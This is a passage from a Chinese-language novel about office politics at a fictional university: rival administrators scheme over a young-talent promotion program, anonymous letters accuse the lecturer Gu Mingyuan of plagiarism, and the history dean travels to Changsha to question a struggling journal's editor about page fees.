就在周濂几乎要放下心结准备向现实低头时,谁也没有料到,曾经劝他“以和为贵”的老校长吴若甫,自己却按捺不住了。 事情的起因微妙而曲折。吴若甫近来代表老干部去找许继武寻求改善退休人员的场地和设施的支持,几次在他那里碰了不软不硬的钉子。这在极重面子的老同志圈子传开后,无异是打了吴若甫两记响亮的耳光。一种被轻视、被羞辱的恼怒在他胸中暗燃。他私下对周濂吐露心声,语气沉郁得有些不容置疑:“或许……让继武同志换一个环境,对学校的发展,也未必是坏事。” 这轻飘飘的一句话,霎时点燃了周濂心中几近熄灭的火苗。他当即下定决心,中断的匿名举报工作必须继续。但这一次,周濂学乖了。身为堂堂校长,不能再亲自操持那些阴沟里的勾当,毕竟笔墨纸砚、寄信投递是会留下痕迹的。他首先想到顾明远,可几次旁敲侧击的暗示都未得到回应,只得将目光转向另一个人——老校长吴若甫一手提拔的办公室主任冯伟。 周濂深知冯伟有很强的报恩心理,便故意抬出吴若甫:“老校长近来心情不甚舒畅,有些事,我们下面的人要懂得分忧。”看见冯伟点头,周濂便将吴若甫最近两次遭许继武怠慢的事和盘托出。 冯伟站在原地,后背微微渗汗。他听得懂校长的弦外之音,这是要他再去添柴点火。答应?此事风险极大,一旦败露,他便会成了那枚被弃的棋子。拒绝?他这办公室主任的椅子,一半是老校长给的,一半是新校长留的,两位爷他一个都开罪不起。这看似温和的交代,实则是逼他站队表忠心的投名状。 在周濂灼灼目光的审视下,想起这几年一直不受书记待见,冯伟咬咬牙,狠狠心,答应了周濂的要求。 就这样,一张由新老校长共同编织的网,开始悄然梭织。 吴若甫要操心的事远不止如此。眼见着自己的女婿顾明远参加工作五年多还只是个小小的讲师和教研室主任,吴若甫对现状很不满意,觉得女婿成长的步幅实在过于缓慢。更让他不满意的是,顾明远眼里似乎只有学问,至于职称职务全是被动等待。在了解到顾明远的研究成果十分丰硕后,吴若甫觉得必须出手助推一把他的职称。在谈完许继武的事情后,吴若甫毫不隐晦地向周濂抱怨学校对青年人才培养力度不够。 周濂当然明白老校长加快女婿顾明远培养速度的意图。作为校长,他当然不能只为顾明远一人出台政策。最近,周濂正在酝酿一个“青年拔尖人才培养计划”。在吸收了吴若甫的一些建议后,周濂很快拿出了一份《楚江大学“青蓝工程”青年人才培养计划》。 按照惯例,这个必须先和书记许继武进行小范围沟通。 许继武的办公室永远弥漫着一股陈年普洱的醇厚香气。窗台上的剑兰长势正好,细长的叶片在空调微风中轻曳。周濂进门时,许继武正用紫砂壶的第二泡茶水烫杯,氤氲的热气在两人之间织出一层薄纱。 周濂将方案放在了许继武的面前。许继武只扫了一眼,并不急于翻看里面的内容,而是笑呵呵地说道:“周校长来得正好,尝尝我这饼八十年代的老茶。”他的眼角堆起笑纹,手上动作行云流水。 周濂不动声色地接过茶盏,指腹在杯壁试了试温度——恰到好处的烫,一如许继武永远恰到好处的笑容。他低头啜饮,任茶水的苦涩在舌尖蔓延。 “好茶,只是……”周濂故意顿了顿:“回甘来得慢了些。” 许继武哈哈大笑,眼角挤出几道深纹:“慢工出细活嘛。这就像咱们办学,有些事情急不得。” 说罢,他拿起周濂递上的方案翻看了起来:“这个方案很有创意和魄力。” 周濂故意让杯盖碰出清脆的“叮”声:“今天专门来听听许书记的意见?” “校长负责制嘛。你周校长大胆开展工作好了。我倒没有具体意见。不过呢,经费问题有保障吧?”许继武摘下老花镜,用绒布慢条斯理地擦拭:“毕竟五百万不是小数目,还要给十名胜出者配备人才工作室,这在楚大尚无先例。省里刚刚下文强调要过紧日子……”,说到这里,他故意压低声音,“听说隔壁的学校最近一个学术中心的项目被砍了。” 许继武的这一招并未给周濂带来多少压力。他的指尖在檀木茶几上轻叩,节奏如钟表的秒针:“许书记说得是。不过,我专门咨询过厅里,我们这是人才强校项目,省里应该是支持的。前不久工业大学就以类似项目争取了200万专项拨款。” “可咱们的底子和人家不一样啊。”许继武嘴里轻轻弹出一星茶屑,正好落在计划的“破格提拔”四字上,眼里浮出些许冷笑:“现在不少年轻教师心浮气躁,急功近利。前年化工学院那个万什么的博士,破格给了副高就有些飘了嘛,听说都不想站讲台了,整天热衷跑企业赚外快。这可是个教训。” 窗外的知了突然聒噪起来。 周濂感觉自己的这一拳又要打在了棉花上。他在斗争中长了经验,不慌不忙地抛出第二套方案:“要不这样,首批规模减半,这样经费压力也能小些。” 许继武正在点烟,火柴“哧”地划亮,映得他镜片后的眼睛忽明忽暗:“你是校长嘛,当然可以拍板做决定。当然,再去听听其他副校长的意见,民主决策嘛。” 周濂知道许继武这是惯用的伎俩,干脆说出了已有公司愿意赞助的信息向逼他就范。许继武愣了一下,旋即吐出一串烟圈:“这个好是好,就不知道里面有没有风险呢?再说,一下子给这么多年轻人特殊待遇,那些老教授们会怎么看?” 周濂的耐心开始消散,语气稍稍强硬了些:“书记多次在会上讲过事业发展要靠年轻人的。现在各行各业都强调年轻化和专业化。我听说您的侄儿才三十几岁就已经在建筑行业闯出一片天地了嘛。” 许继武心里猛地一颤,推测周濂一定知道侄儿这两年在学校承接装潢项目的事,心中顿时生出几分怯意。他将半支烟揿灭,沉吟半晌:“既然周校长能解决经费问题,要不试点看看?就依你的意见,先选拔五名拔尖人才如何?” 周濂知道这是许继武能做的最大让步,“欣然”表示赞同。 窗外的蝉鸣忽然更加热烈起来。 果然不出所料,《楚江大学“青蓝工程”青年人才培养计划》刚一公布,校园顿时炸开了锅。那些熬白了头的副教授们几乎跳脚骂娘,意思是自己熬到现在才是个副教授,现在猛然破格提拔一批三十出头的年轻人,这让他们的面子无处安放。行政人员那边似乎好不到哪去,手指戳着文件发牢骚,对文件中拔尖人才“十万元”补贴大加挞伐。 骂归骂,怨归怨。其实大家心里清楚,这年头,任何政策只要领导下了决心,谁都没有办法改变。很快,各种喧嚷鼓噪如沸水撤柴,只剩下些零星气泡。到最后,真正紧盯算计的,还是真正居北申报资格的四十三位年轻人。 大家早已悄悄将对手的底细摸了个透,其中三人的竞争力肉眼可见地名列前茅:手握两个国际经济学奖项的海归双料博士肖志阳、获评全省化学界十大杰青的史珍香以及已出版两部专著、发表十多篇核心期刊的顾明远。 这意味着,剩下的四十人要为仅有的两个名额拼死一搏。 作为计划始作俑者的吴若甫老谋深算的吴若甫深知:仅有实力未必能成为最终胜者。三十多年的经历,他见惯了阴沟翻船的各种场面。学院是这次申报的源头,也是关键,工作必须做在前面、做到细处。 根据吴若甫的吩咐,周濂直奔历史学院,亲自找秦冰纶谈话。 自半溪酒家老板娘暗示那晚的蹊跷后,秦冰纶胸中便积满了对顾明远的怒火,只是找不到发泄的出口。这次“拔尖人才”的选拔无疑是一个教训顾明远的机会。 当秦冰纶透露出准备推荐林书锦的想法时,周濂大吃一惊:“我记得你一直很欣赏顾明远的业务能力嘛?” “欣赏归欣赏,”秦冰纶摆弄着手中的笔杆:“问题上院里不少人对顾明远这些年来只搞个人奋斗的做法有意见,我怕院务会这一关都过不了……” “教师不埋头钻研业务,难道要天天陪酒陪唱不成?”周濂突然提高声调:“冰纶,历史学院的导向是不是有点问题呀?” 秦冰纶并不打算放弃自己的想法。她何尝不知周濂话中的分量,但一想到那晚在半溪酒家顾明远找来马骉演的一出荒唐戏码,怒火便如毒蛇般噬咬着她的心。这口气,她如何咽得下? "周校长,"她抬起眼帘,声音里带着刻意的委屈,"您说得对,学院的导向确实需要反思。但正因为如此,我们才更应该推选一个懂得团结同事、谦逊有礼的候选人。林书锦也许学术上稍逊一筹,但他善于协调团结同事,这在教学科研团队建设中同样重要。" 笔杆在她指间转得更快了,仿佛这样才能稍稍缓解她心头的郁结。 顿了顿,柔婉的声音里似乎带着不容置疑的坚持:"顾明远确实是难得的人才,适当给他一些挫折,让他沉淀沉淀,对他长远发展未必不是好事。" “别说啦”,周濂的目光忽然异常锐利起来,将手中的铅笔"啪"的一声按在桌上,声音显得非常严峻:“秦院长,看来我要对你改变观感了。我原本以为你是个有大局观全局感的人,没想到在这件事上这么糊涂。”在意识到秦冰纶是认真而非随意后,周濂觉得要拿起重锤敲打敲打这个自己一直中意的院长: “以那个林书锦的实力,你觉得有希望入围吗?如果不能入围,你们历史学院丢得起这个脸吗?你秦冰纶本人承担得起失败的责任吗?”本来这次方案在一定程度上是为顾明远、肖志阳几个人量身定制的,现在秦冰纶竟然视若无睹,这让周濂越说越生气:“同志,你还是要往上走的人哩,小不忍则乱大谋的道理该懂的。” 说完,气呼呼地站起身来,走到门口转头说了句“那个林书锦传闻不少呢”,便迈开大步走了。 周濂的脚步声在走廊里渐行渐远,秦冰纶却仍僵立在原地,整个人仿佛被钉在了地板上。校长最后那句话像一把淬毒的匕首,精准地刺中了她最敏感的神经。 "那个林书锦传闻不少呢"——这轻飘飘的一句话,在她耳中却如同惊雷炸响,血液仿佛在那一刻凝固了:难道周濂知道了什么……。秦冰纶不敢再想下去,下意识地环顾四周,仿佛空气中隐藏着无数双窥探的眼睛。 "你秦冰纶本人承担得起失败的责任吗?"周濂的质问仍在耳边回响。她猛地意识到,若是因为自己的私心导致历史学院在这次选拔中覆没,不仅会让学院蒙羞,更会让她自己的仕途陷入危机。想到这里,她的手指不由自主地颤抖起来。 "我真是糊涂了……。"她喃喃自语,声音里带着前所未有的恐慌。为了报复顾明远的"冒犯",她差点毁了自己苦心经营多年的前程。周濂说得对,小不忍则乱大谋。她深吸一口气,强迫自己冷静下来。当务之急是要全力贯彻校长的意图挽回在他心中的印象,证明自己仍然是个值得信任值得栽培的人。 秦冰纶走到洗手间,用冷水拍了拍脸颊,再仔细补了一下妆,好让自己的光彩重新焕发起来。一切停当后,秦冰纶给周濂打去了电话,郑重其事地作了表态。周濂态度立刻有了转变,强调务必要将顾明远推上来。 顾明远其实并非岳父和爱人想象的那样书呆子。他反感的是行政职务,至于职称晋升其实一直有着自己的追求。只是觉得这种业务上的晋升凭的是实力不需要去走那些旁门左道而已。现在机会来了,对自己业务自信得有些自负的他当然不想错过。毕竟,如果能成为学校第一批“拔尖人才”,那绝对是对自己专业能力以及辛苦付出的认可,而且也为自己的“学者梦”“大师梦”打下坚实的基础。 吴雅娟将丈夫一反常态的积极十分满意。在从父亲那里得知了内幕后,她更是对父亲对丈夫的前程规划充满了信心,自然对自己将来某一天被人尊称为“校长夫人”也开始有些憧憬起来。所有这些,按照父亲的意思,当然不能再傲娇的顾明远面前流露。她要做的,就是不时提醒顾明远既要埋头拉车又要抬头看路,千万别掉进了前方不可知的坑中。 事实证明吴雅娟的提醒是正确的。很快,顾明远察觉到气氛变得微妙起来。这从每天中午教职工餐厅的就餐情况可见一斑。以前卞同峰那帮人总喜欢和自己挤在一桌,这几天却显出了异样,他们宁可绕过顾明远的桌子也不愿意和他一起,弄得顾明远形单影只的显得有些突兀。 这天中午,好久不见的钟德君端着餐盘来到顾明远这张桌子坐下。他虽然已经不在学院,但似乎对“拔尖人才”的各种消息了如指掌:谁谁昨晚组局请人吃饭拉关系,谁谁正在托上面的关系给校领导递话,谁谁专程去分管教师工作的副校长江川家里拜访……,听得顾明远心烦意乱,没好气说道道:“别人又行动自由,你管这么多干嘛?”

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顾明远故意拿秦冰纶在一次会上对林书锦的褒奖来揶揄他。林书锦当然听出了弦外之音,假装出诚恳的谦逊:“老顾别笑我了,和你比,我不过是三脚猫功夫。”说罢,凑近一步压低声音:“说真的,这次院里投票,我第一个支持你。成了你请客,不成算我的。” 这话说得太过漂亮,顾明远后颈的汗毛都竖了起来。正急着想摆脱,林书锦却一把拽住他的胳膊将他拉到墙角:“老顾,咱俩这交情,有件事不能不提醒你。”林书锦左右张望,活像在演谍战片:“财经学院的肖志阳最近可没闲着。江小北正在帮他活动呢。你是咱们历史学院的代表,可不能输给他。” “肖志阳和江小北不是早离婚了?”顾明远皱眉问道。 “嗨,你真是单纯啊,”林书锦假装跺起脚来:“江小北不时一直觉得有愧肖志阳的嘛。”他突然收住话头,作恍然大悟状:“看我,又说多了。老顾你这样的正人君子,哪懂这些弯弯绕绕……” 顾明远盯着林书锦那张似笑非笑的脸,突然觉得胃里一阵翻腾,再也不能忍受,以回家看女儿为由快步跑开。刚回到家里,吴雅娟提醒他要防止林书锦暗中下绊子,说是有人告诉这几天林书锦和肖志阳、史珍香他们走动得频繁。 顾明远怔在原地,半天说不出一句话来。 周濂的提醒与催促如一记重锤,迫使秦冰纶最终舍弃了林书锦,转而一心一意为顾明远铺起路来。她的指尖摩挲着林书锦刚送来的限量版丝巾,知道这终究抵不过周校长锐利的目光。 “攘外必先安内。”想起周濂的告诫,秦冰纶的眉头蹙紧。在班子的成员中,孙启亮确实是个不确定的因素。自从去年顾明远拒绝了代笔的要求后,孙启亮没少在分管的科研方面对顾明远及其所在的中国古代史教研室发难。为此,秦冰纶还记得那次亲自去找顾明远做思想工作的一幕: “孙副院长那边……”,秦冰纶刚起个头,顾明远就显得十分敏感:“为别人代笔这种事……”。 “你的想法我能理解。可你要知道,孙启亮对你的成见不浅呢。以你的功底,一个晚上的事情嘛。” “这不是时间的问题,而是个学术操守的问题。”顾明远喉结滚动,声音不软不硬,却锋利得让人心生寒意。 ……… 无奈之下,秦冰纶只能再次打起莫笑非的主意。 自学术委员会主任职务被剥夺后,莫笑非在楚江大学的声誉和单位江河日下。莫笑非绝非束手就缚之人。瘦死的骆驼比马大,毕竟省政府参事的头衔还在,博士生导师资格还在,加上有教育部供职的同学说项,许继武、周濂也不敢彻底开罪莫笑非,在一些重要的教学科研业务活动中,有时还要利用他的光环撑撑场面。在许继武的要求下,周濂将莫笑非任命为这次“拔尖人才”评委会副主任委员。 这也是秦冰纶拜访莫笑非的原因之一。另一个原因,自然还是莫笑非与孙启亮两人“英雄惜英雄”般的私交。 没有了学术秘书的莫笑非现在显得清闲。秦冰纶推开“荆楚大先生工作室”的大门时,莫笑非正半靠在椅背上跟着录音机里的《渔舟唱晚》在腿上打着拍子。 “莫老真是闲情逸致得很呀……”,秦冰纶话未说完,莫笑非突然睁开眼睛,有些没好气地说道:“是老周让你来的吧?” “哟,看您说的,非得周校长指示我才能来呀。难道我秦冰纶就不能涉足莫老这块宝地了?” 莫笑非似乎对所有的女人抱有天然的好感,更何况是才色兼备的秦冰纶呢。但是,去年年会申办的事故后,秦冰纶砍掉了学院对“荆楚大先生工作室”的经费支持,这让莫笑非身份恼怒,甚至上半年的正式召开的年会都拒绝参加。 秦冰纶有备而来,主动提出院里准备恢复对“荆楚大先生工作室”的经费支持。她的声音在房间里显得格外清亮,每一个字都像经过精心打磨的玉石,在莫笑非的耳中激起了愉悦的回响。 莫笑非下意识地捏紧了手中的青瓷茶杯:经费的恢复意味着他那濒临停滞的课题研究可以重获生机。他的内心深处几乎雀跃起来,却故意垂下眼睑,语气显得平淡甚至带点讥讽:“哦?院里终于想起我们工作室了?”顿了顿,偷眼观察秦冰纶的反应,见她眼神里掠过一丝不易察觉的尴尬,心中不由得升起一股快意。 莫笑非不是那种可以轻易吞声的人,慢悠悠地呷了口茶,仿佛在谈论一件与己无关的事情:“工作室这一年有些伤了元气,光是恢复经费,恐怕也只是杯水车薪。很多基础工作,比如资料整理、学术联络,都缺人手……”。他故意拖长了语调,显得颇为为难。 秦冰纶心中了然,知道这是要借机蹬鼻子上脸了。不过这正合她的心意。因为“拔尖人才”舍弃了林书锦让秦冰纶对热情似火的林家有些愧疚,现在正好可以让林书锦补上“学术秘书”的缺,这岂不是两全其美的好事? 在相互心有灵犀地推拉了一番后,经费和林书锦终于同事落位,换来的是莫笑非枯脸上漫溢的笑容和表态:“冰纶你回去告诉周校长,顾明远的事情我时心里有数的。至于孙启亮,明年他要申报正高职称,都要退休的人了,院里也关心关心,事情不久迎刃而解了嘛。” 秦冰纶没想到莫笑非如此爽快,心里暗暗为自己的手段有些自矜:搞定莫笑非一点也不难嘛。 在正式开评前,周濂专门又找了几位评委个别谈话。当一切都在按照自己的思路往前推进时,周濂高兴地拿起剪刀修剪起窗台上的盆栽,剪刀“咔嚓”一声,多余的枝桠应声而落。 32. 水落石出 吴雅娟第一时间得知丈夫顾明远通过了楚江大学首批“青年拔尖人才”评审的消息,心头涌起久违的快意。自从产后综合征缠身以来,她对闺房之事总是意兴阑珊,但今夜却不同往日。洗浴完毕,她特意换上那件顾明远喜欢的淡紫色睡裙,在梳妆台前好好将自己打扮了一番。她的主动与热烈让顾明远仿佛重回新婚燕尔之时。这一夜,顾明远双倍地体会到了“洞房花烛夜,金榜题名时”的人生快乐。 温存尚可回味,噩耗猝然而至。次日下午,公示公告刚刚张贴完毕,院办干事黄阿娇就急匆匆地找到正在上课的顾明远,说是周校长有急事找他。 顾明远心中莫名一紧。故作镇定给学生布置完临时作业,匆匆整理了一下微皱的衬衫衣领,这才快步走向行政楼。雨后的校园弥漫着桂花与泥土混合的清香,但他却无暇欣赏。 周濂的办公室里只有他和秦冰纶两人。周濂紧皱眉头一脸严肃,秦冰纶精致的面容上笼罩着一层寒霜。办公室里的气氛沉闷而压抑。 “赶紧坐下说话。”周濂站起身来,手中挥舞着几封信笺在室内来回踱步,皮鞋敲击大理石地面发出清脆的声响:“唉,这真是树欲静而风不止啊,树欲静而风不止啊。”他重复着这句话,仿佛在咀嚼其中的无奈与愤怒:“你们看看这些信件,这是早有预谋啊。” 秦冰纶小心地接过信件逐页翻动。她的眉头越皱越紧,未及读完,猛拍了一下沙发的扶手,杏眼中迸射出愤怒的火花:“简直是无稽之谈!实在太无聊了”。 五封信中,有四封笔迹各异却内容相同,均指认顾明远在《文艺杂谈》上发表的文章涉嫌全文抄袭。最令人心惊肉跳的是第五封信,竟然含沙射影地暗示顾明远与包括秦冰纶在内的多位女性关系暧昧。 从秦冰纶闪躲的眼神中,顾明远察觉到这些信件应该与自己有关,伸出手来想要看个究竟,秦冰纶却不安地用眼神征求校长的意见。 “都这个时候了,也不用瞒他啦。给小顾看看吧,也正好求证求证。”周濂点了点头。 秦冰纶有意留下最后一封,只把与论文有关的信件递给顾明远。顾明远接过信件扫了一眼,顿时觉得一道霹雳在头顶炸响,太阳穴突突直跳,耳边嗡嗡作响,身体不受控制地颤抖起来,原本红润的面颊瞬间变得惨白如纸。 周濂连忙将语气变得柔和了些:“明远,我是绝不相信这种事的。今天找你来,也是出于对你的信任。你回去后,尽快写一份自证材料递上来吧。”说罢,周濂用眼神暗示秦冰纶护送顾明远回去休息。 顾明远勉强站起身,脚步虚浮地趔趄了几下,下意识拦了拦秦冰纶伸出的手臂,挤出一个苍白的笑容:“我没事。”话音未落,踉踉跄跄地冲出了周濂的办公室。 室内陷入短暂的沉寂。 周濂与秦冰纶面面相觑。秦冰纶如梦初醒般喃喃道:“我不相信顾明远会做出这种事。他的成果那么多,真没必要在《文艺杂谈》这种不入流的杂志上去冒险啊。” “我当然也不信呀”,周濂烦躁地扯松领带:“问题是举报信白纸黑字写着呢。”这些信件是刚才许继武亲自过来转交的,临走时明确提出“若不能查清事实就取消这次评审结果”。周濂清楚,如果真的这样,毁的不仅是顾明远的前途,更是给力推这项决定的自己打下了一个耻辱的烙印。 周濂第一时间向老校长吴若甫通报了情况。向来沉稳的吴若甫罕见失态,甚至连“必须在公示期内查清真相”这样的重话也说了出来。 目睹了新老校长在电话里的激烈反应,秦冰纶急得高跟鞋在地板上敲出凌乱的节奏:“周校,我们该怎么办?” 周濂摸着下巴来回踱步,皮鞋在地板上留下深深的压痕:“这件事摆明了是有人捣鬼。会是谁呢?” 秦冰纶试探性地说道:“会不会是财经学院的人搞的?” 周濂停下脚步盯着秦冰纶看了一眼后摇了摇头:“不太可能。老梅退休后,你们两家的关系明显缓和了不少。” 秦冰纶觉得也有道理。财经学院自从卓娅主政后,两家来往频繁,几乎很少再发生过以前那种相互攻讦的龃龉。 周濂转身问道:“顾明远有没有得罪过什么人?” 秦冰纶脱口说出了“孙启亮”的名字。 周濂再次停下了脚步:“嗯,这确实是个线索。老孙这家伙,这几年也没少在我面前吐槽顾明远。”说到这里,他停下脚步竖起三根手指,语气急促地说道:“冰纶,时间不等人。以孙启亮为突破口,给你三天时间,必须查清真相。否则的话,对小顾和你们学院,那可是个大麻烦。”说到这里,周濂伸出食指指了指斜对面,秦冰纶明白那是暗示许继武正等着机会拿刀子砍人。想到其中一封信还牵连到自己,一旦传开,满城风雨,那自己的仕途肯定大受影响。秦冰纶不敢不重视啊。 秋雨如注,秦冰纶裹紧风衣冲出行政楼时,恰好撞见吴雅娟在雨中狂奔。伞骨翻折的雨伞在她手中摇晃得像只垂死的白鸟。秦冰纶忍不住从身后叫住了她。吴雅娟惨白的脸上雨水混着泪水:“顾明远刚在假山的水池边摔了一大跤,我得赶紧回去看看。”话音未落,鹅黄色身影已跌进雨幕深处,只剩高跟鞋在青石板路上敲出凌乱的回响。 回到学院,秦冰纶立即找来沈菊英商议。刚说出《文艺杂谈》的名字,沈菊英忽然两眼放光:“这不是孙启亮每年都在订阅的杂志吗?征订存根还在阿娇那里。” 秦冰纶激动得几乎跳起来,抓起电话就要质问孙启亮,却被沈菊英拦住:“先别打草惊蛇。” 这时,吴若甫的电话打了进来,毫不客气地亮出了自己的态度:“冰纶,你得明白这事的严重性啊。这件事表面上看是针对顾明远,我看剑指的是周濂,最后殃及的是你和历史学院。你们院不仅要有态度,还得采取对策。既然文章是在那个什么《杂谈》上发的,你们就该直接去那儿探个究竟。我建议呀,你尽快派人去长沙一趟,看能不能从那个叫什么《杂谈》的编辑部查证查证。” 秦冰纶对吴若甫依然如故的命令式口吻有些不满,但觉得他讲的在理,便在口头上先答应下来。 放下电话后,秦冰纶决定先试探孙启亮。她来到孙启亮的办公室,故意零碎地提及“长沙”“《文艺杂谈》”这些字眼,暗中观察对方反应。孙启亮不慌不忙,从书架上抽出两本《文艺杂谈》来:“你说的是这个吧。这个杂志我订了几年了,虽然档次不高,有些文章挺有趣的。” 秦冰纶心里暗笑。为了进一步敲打,继续说道:“没想到这种不入流的杂志都能入我们孙院长的法眼的。对了,我听说我们学校有不少老师在这家刊物上发过文章的吧?” “对呀,我就推荐周青在上面发过文章的。” “哦?听说顾明远也发过的呢?” “是吗?那我倒没注意。” 秦冰纶似乎察觉到孙启亮说这话时目光有些闪躲,心中更加坚定了自己的判断。 正在这时,沈菊英急慌慌地跑了过来将秦冰纶招了出去,说是顾明远好像摔得不轻这会正在家里高烧说胡话。秦冰纶赶紧给江南医院的表妹林思齐打去电话让她帮忙,又带着沈菊英、黄阿娇她们赶到了“筒子楼”,和闻讯赶来的钟德君、卞同峰他们一起手忙脚乱地将顾明远抬上救护车。雨幕中,救护车的蓝光在每个人脸上投下变幻莫测的阴影。 救护车刺耳的鸣笛声刚在江南医院外科楼前停住,身着白大褂的林思齐已经候在了门口。看到昏睡中的顾明远,林思齐眼中闪过一丝惊讶,赶忙和护士用车子将顾明远推到急诊室里,一边让护士处理顾明远的伤口,一边开始给顾明远做检查。 一番忙碌后,林思齐松了口气,望着秦冰纶、沈菊英她们说道:“初步判断是急性扁桃体炎,这个进行适当的抗炎或抗感染治疗,应该没什么大问题。倒是他摔伤的情况比较严重,恐怕得做个小手术的。” 秦冰纶抚着胸口喘了口气:“哎呀,吓死我了。”忽然意识到自己的反应有点儿过头,赶紧把身后的吴雅娟推到前面:“小齐,这是病人的爱人。”接着又将沈菊英、黄阿娇给林思齐作了介绍,独独忽略了一旁的钟德君。 这让钟德君心里满是失落。自从见到林思齐的第一眼起,钟德君就被这位眉目秀雅、气质清纯的女医生深深吸引。当顾明远从急诊室转入病房后,钟德君故意以“秦院长你们工作忙”“安安还等着你回去”为借口将秦冰纶、吴雅娟她们支走,目的是想觅得机会接近这位仙女一样的女医生。 秦冰纶她们刚一离开,钟德君便迫不及待从病房赶到了医生值班室。 林思齐正全神贯注地在本子上作着记录。钟德君故意咳嗽两声想吸引林思齐的注意。其实,在病房里,林思齐已经注意到这个目光一直停在自己身上的男子,心里对他多少有些反感。抬起头来只冷冷地瞥了一眼说道:“你不应该在病房照顾病人吗?” 钟德君笑嘻嘻地说道:“病人现在睡着了,我是想来问问他的病情。”嘴上说着,眼睛大胆地在林思齐身上游来移去。 林思齐显然感觉到了钟德君那不规矩的眼神,丹凤眼中射出一道寒光:“病人的病情我们会定时跟踪的,你还是回病房照顾病人吧。”说罢,起身径直走进隔壁的医生休息室。 遭到冷落的钟德君只好怏怏回到了病房。这时顾明远已经醒了,他有些迷茫地看了看四周后问道:“我怎么在医院?” 钟德君趁机将自己的表现夸大了一番,眼睛却不停地往病房门口瞟去,他多么希望那个仙女般的身影能够飘进病房的啊。 经过商量,秦冰纶决定亲自动身去一趟长沙直捣《文艺杂谈》探个究竟。临行前,她觉得有些问题还是应该先与顾明远沟通沟通,便带着沈菊英再次来到江南医院。 经过一晚的治疗和休息,顾明远明显好了很多。当秦冰纶、沈菊英陪着林思齐出现在病房门口时,顾明远着实吓了一跳:怎么会是她?顾明远本能地坐直了身子,不停地整理凌乱的头发。 秦冰纶故意开起了顾明远的玩笑:“顾老师怎么像林黛玉似的,遇到一点打击身体就像玻璃制品一样碎成了渣子。” 顾明远咧着嘴尴尬地笑笑,眼睛却偷偷瞥向林思齐。林思齐嘴角处浮起一抹微笑,这让顾明远心中涌起一股暖流。 支走钟德君、黄阿娇后,秦冰纶就《文艺杂谈》上的那篇论文向顾明远求证了一番。得到满意的答复后,便与沈菊英匆匆下楼而去。 走出住院部大门,林思齐突然拉住秦冰纶的袖子:“你们刚才聊的《文艺杂谈》是长沙的一本杂志吧?” 秦冰纶点了点头。沈菊英三言两语说了顾明远被人恶意举报的事。林思齐双眉微蹙说了句“大学也这么复杂吗”,眼里却闪烁着惊喜的光芒:“说不定我可以帮点小忙的。” 原来,三个月前,《文艺杂谈》的主编孔益林在江南医院做过胃切除手术,主刀的正是林思齐。 秦冰纶知道表妹喜欢开玩笑的调皮性格,故意沉着脸说道:“小丫头片子该不会是在跟我开玩笑吧?” 为了证明自己的认真,林思齐在手机里找到了孔益林的电话,直接拨打了过去。当话筒里传来一个湖南口音男子亲热地叫了一声“林医生好呀”后,秦冰纶彻底放下心来。 有了林思齐这层关系,秦冰纶和沈菊英的长沙之旅就变得顺畅多了。当天晚上,《文艺杂谈》的主编孔益林亲自出马,在橘子洲的一家茶楼里招待了秦冰纶和沈菊英。 孔益林的热情当然与林思齐有关,同时也还有另外的小算盘。《文艺杂谈》作为一本半学术半通俗的刊物,既无核心期刊的权威,又无大众杂志的流量,在市场化浪潮中举步维艰。发行量逐年萎缩,广告商纷纷撤资,账面上的赤字像一道越裂越宽的沟壑。去年实行自负盈亏改革后,孔益林临危受命将杂志社承包了下来。为了生存,孔益林大刀阔斧砍掉了所有员工,临时将自己的外甥女方卉招来做帮手。《文艺杂谈》说是一家杂志社,其实就只有孔益林和外甥女两人在支撑。目前,杂志社的收入来源仅剩三根摇摇欲坠的支柱——版面费、广告费和发行费。在广告商和发行量都是岌岌可危的局面下,孔益林现在主意打得最多的便是版面费。他先是将双月刊硬生生改成月刊来扩大用稿量,接下来就开始广泛撒网搜罗稿件。奈何杂志确实名声和质量俱低,投稿量远远不能达到预期。没有投稿量,就意味着没有版面费。现在,孔益林日思夜想的就是穷尽一切手段增加投稿量提高版面费收入。 湖北是高教重地,自然也是稿源重镇。当林思齐在电话里告诉秦冰纶是楚江大学历史学院院长时,孔益林的第一反应是“财神爷来了”。自然要竭尽所能接待号秦冰纶一行,说不定依托她撬开整个湖北高校这个稿源大市场。尤其刚一见面沈菊英就将秦冰纶在全国历史学界呼风唤雨的本事渲染后,孔益林更加坚定了自己的想法。 孔益林是个天生的交际家,用他自己的话说,三句话内能摸清对方的喜好,五杯酒后可套出关键信息。 坐在秦冰纶的对面,孔益林有意前倾些身子,虚扶着椅子上的扶手,镜片后的眼睛始终含着恰到好处的笑意。他先是用湖南普通话毫不费力地用一堆华丽的词汇夸赞秦冰纶。秦冰纶对这样批发式的夸赞虽然心动,但还不至于迷失方向。几杯红酒滑入,她主动将话题转到投稿事情上。 已经受过舅舅培训的方卉故意蹙眉说道:“秦院长有所不知,最近投稿实在太多,排期都挤到明年十二月了。”说罢又故意叹了口气:“好些文章还在排队候审呢。” 秦冰纶唇角噙着若有似无的笑:“哦?那依小方的意思,我若现在投稿,岂不是要等到后年才能见刊?” 孔益林手中茶壶一抖,险些洒了茶水:“秦院长说笑了。您这样的精英翘楚,我们求都求不来,哪敢让您等?放心,随投随发。”给秦冰纶续上茶后,他有些讨好地说道:“就冲着您美女院长的面子,今后对湖北尤其楚江大学老师的投稿,我们一律往前排”。 看见秦冰纶只含笑淡淡说了句“是吗”,孔益林有些起急:“不瞒您说,前几个月贵校有一个叫顾明远老师的投稿,我们就已经破例加急发出来的。” 秦冰纶闻言大喜,故意挑眉说道:“哦?我们倒是有一个姓顾的老师。我不太明白,为什么要给他加急呢?” 方卉抢着接话:“他好像是急着要评职称的。我舅舅可是连夜审稿的。这样的话,版面费肯定是要翻倍的。” 话未说完,就被孔益林一声轻咳打断,脸色骤变,茶盏重重一放,瞪了方卉一眼:“去催下后厨的芙蓉虾嘛。”转脸又堆起笑:“秦院长别误会。我们这里专门组建了湘大、湖大的博导的审稿专班,审稿一向很严格的。” 秦冰纶给沈菊英使了个眼色。沈菊英会意,将从湖北带来的名烟递给孔益林,故作随意地问道:“这个顾明远的文章加急是不是交了不少版面费啊?” 孔益林微微一怔,眼神中闪过一丝警觉。秦冰纶见状故意激将:“看来沈主任涉及到了孔主编的商业机密咯?” 孔益林有意示好秦冰纶,故意装出豪气地笑了两声:“在秦院长这里没有机密可言嘛。按理说,这个顾明远的文章水平足够可以不收版面费的。但他几乎一天一个电话天天打电话,好像特别急着发表。这就意味着要挤掉很多排在前面的文章。没办法,那就只好收版面费了。不过,看在楚江大学的面子上,我们也没多收,在正常每千字300元的标准上,也只增加了200来块钱而已。” 